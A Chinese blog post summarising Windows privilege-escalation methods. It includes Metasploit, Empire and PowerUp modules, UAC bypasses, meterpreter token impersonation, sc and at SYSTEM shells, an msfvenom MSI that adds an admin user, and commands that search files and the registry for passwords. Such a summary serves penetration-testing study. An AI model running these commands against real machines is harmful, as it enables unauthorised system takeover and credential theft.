首页 > 系统相关 >[总结]Windows提权总结

[总结]Windows提权总结

时间:2023-08-20 12:05:13浏览次数:40  
标签:总结 Copy 提权 Windows windows https 权限

0x01 简介

提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

0x02 按提权方法分类

2.1 系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

下面是几个方便查找相应补丁漏洞的辅助查询页面:

Copyhttps://github.com/ianxtianxt/win-exp-
https://github.com/SecWiki/windows-kernel-exploits
Copy#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches

#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns

2.2 系统配置错误提权

Copy#Empire内置模块
usemodule privesc/powerup/allchecks
execute

2.2.1 系统服务权限配置错误

Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持

实现方法可借助:

Copy1.Powershell中的PowerUp脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

2.Metasploit中的攻击模块   #需要提前获取一个session
exploit/windows/local/service_permissions

2.2.2 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
MSF使用实战:

Copy#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

#msf攻击模块
exploit/windows/local/trusted_service_path

#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f

2.2.3 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

Copy#查看计算机的计划任务
schtasks /query /fo LIST /v

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula

2.3 组策略首选项提权

组策略首选项(Group Policy Preferences,GPP),详情见谢公子的博客:Windows组策略首选项提权

Copy#Powershell获取cpassword
Get-GPPPassword.ps1

#Msf
post/windows/gather/credentials/gpp

#Empire
usemodule privesc/gpp

2.4 绕过UAC提权

backlion师傅有一篇博文,主要写的就是这个:使用Metasploit绕过UAC的多种方法

Copy#Msf
exploit/windows/local/ask       #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

2.3 令牌窃取

Copy#已经获取到一个session
#方法一
meterpreter > use incognito
......
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > impersonate_token WIN-2HU3N1\\Administrator  #注意:这里是两个反斜杠\\
Successfully......
meterpreter > shell

C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
Copy#方法二,借用Rotten potato程序
https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully
meterpreter > execute -HC -f rottenpotato.exe
Successfully
meterpreter > getuid
...NT AUTHORITY\SYSTEM

2.4 无凭证条件下的权限提升

Responder.py:https://github.com/SpiderLabs/Responder.git

0x03 按系统类型类型

3.1 Windows2000/2003、XP

3.1.1 at本地命令提权

在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将 Administrators 组下的用户权限提升到 SYSTEM

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。

Copy语法:at 时间 命令
例子:at 10:45PM calc.exe

该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。我们可以通过 “/interactive”开启界面交互模式:

在得到一个system的cmd之后,使用 taskmgr 命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境

3.1.2 at 配合 msf提权

msf下生成木马文件,at命令执行运行程序,上线后即为system

3.2 windows 7/8、03/08、12/16

3.2.1 sc命令提权

关于sc命令: SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

Copysc Create syscmd binPath= "cmd /K start" type= own type= interact

这个命令的意思是创建一个名叫 syscmd 的新的交互式的 cmd 服务,然后执行以下命令,就得到了一个system权限的cmd环境:

Copysc start systcmd

3.2.2 AlwaysInstallElevated

AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表项来识别此设置:

Copy[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

使用reg query命令查询是否存在漏洞

CopyC:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系统没这个漏洞,它将输出错误:

CopyERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面将输出以下内容:

然后我们使用msfvenom生成msi文件,进行提权

Copymsfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet    安装过程中禁止向用户发送消息
# /qn       不使用GUI
# /i        安装程序
Copymsf下的自动模块
exploit/windows/local/always_install_elevated

3.2.3 Unattended Installs

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

CopyC:\Windows\Panther\ 
C:\Windows\Panther\Unattend\ 
C:\Windows\System32\ 
C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

CopyC:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
Copy#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

#或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。

Copy#msf模块
post/windows/gather/enum_unattend

3.3 常用系统漏洞CVE

Copy#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

#持续更新中......

参考链接

https://www.cnblogs.com/-mo-/p/12333943.html
http://hackergu.com/powerup-stealtoken-rottenpotato/
https://blog.csdn.net/Fly_hps/article/details/80301264
[https://lengjibo.github.io/windows提权总结/](

标签:总结,Copy,提权,Windows,windows,https,权限
From: https://www.cnblogs.com/h1ck0r/p/17643783.html

相关文章

  • 【工具】windows10定时关机
    windows10定时关机打开 cmd (在搜索栏输入cmd打开):2.2、创建计划任务:schtasks/create/TNshutdown_on_time/TR"shutdown/s/t60"/ST22:00:00/SCDAILY自己用的话只需改一个地方,把22:00:00改成自己需要的时间就行了3、查看创建结果:schtasks/Delete/TNshu......
  • Qt安卓开发经验技巧总结V202308
    01:01-05pro中引入安卓拓展模块QT+=androidextras。pro中指定安卓打包目录ANDROID_PACKAGE_SOURCE_DIR=$$PWD/android指定引入安卓特定目录比如程序图标、变量、颜色、java代码文件、jar库文件等。AndroidManifest.xml每个程序唯一的一个全局配置文件,里面xml格式的......
  • windows环境发布、布署项目
    第一种布署方式:安装IIS,在IIS上发布第二种布署方式:发布后生成的dll文件cmd---dotnet启动项目名(WebNet)第三种布署方式:直接启动发布项目后的exe文件,json配置文件中配置下面这句"Kestrel":{"Endpoints":{"Http":{"Url":"http://*:7010"}......
  • windows系统下从硬盘安装linux-ubuntu
    #windows系统下从硬盘安装linux-ubuntu-1.使用系统自带的分区工具,划10G左右的空间当作安装盘。分区格式为FAT32,取个名字叫A。-2.把下载好的ubuntu镜像打开,复制内容到安装盘A。-3.重启电脑,按F12选择硬盘启动项。这里选ubuntu。 ......
  • 8.19第七周总结
    -help:输出这个命令参数:hdfsdfs-helprm2.-ls:显示目录信息:hadoopfs-ls/3.-mkdir:在hdfs上创建目录:hadoopfs-mkdir-p/aaa/bbb/cc/dd4.-moveFromLocal从本地剪切粘贴到hdfs:hadoopfs-moveFromLocal/home/hadoop/a.txt/aaa/bbb/cc/dd5.-moveToLoc......
  • 鱼皮聚合搜索项目总结
    鱼皮聚合搜索项目笔记+收获一、收获:1、使用AXIOS向后端发送请求语法:myAxios.post("search/all",query).then((res:any)=>{}post请求方式search/all请求后端的路径query请求的参数res响应回来的数据2、爬虫,如何爬虫:方法:HttpClient、OKHttp、RestTemplate、HuTool......
  • Django 登录页面优化的报错总结
    Django登录页面优化的报错总结在登录页面进行优化过程中,遇到的一些报错这边总结了一些希望会对读者有所帮助。调用new_key=CaptchaStore.generate_key()报错在调用CaptchaStore.generate_key()时出现错误,请确保您已正确设置了django-simple-captcha库。请按照以下步骤检查......
  • 第六周总结
    周一:明确学习目标和资源准备本周的第一天,我将明确自己的学习目标,确定学习重点和方向。我计划阅读相关的大数据领域的书籍和文档,如《大数据导论》、《Hadoop权威指南》等,以了解各种大数据技术和工具的基本概念和应用场景。此外,我也会寻找一些在线学习资源和教程,如网课、博客和视频......
  • Windows Terminal配置Git Bash
    大部分程序员对LinuxBash的熟悉程度肯定高于Windows的PowerShell,而Git是程序员电脑上必装的软件之一(没装?Areyoukiddingme?),GitBash可以在Windows上给我们提供LinuxBash的能力。可是GitBash这个古老质朴黑乎乎的界面,虽然说也不是不能用,但确实也只是凑活吧。。。因此今天我......
  • 第六周总结
    本周没有学习多长时间,因为我这周在练车,准备考科目二,每天早上六点到晚上七点到家,再加上吃饭的时间,因此留给我学习的时间很少,并且我也不想学习,因为练车很累,这一周基本都是这样,所以我只能偶尔复习复习课程,代码这周也没写多少。关于本周学习遇到的困难,没有,因为我学习的时间很少并且也......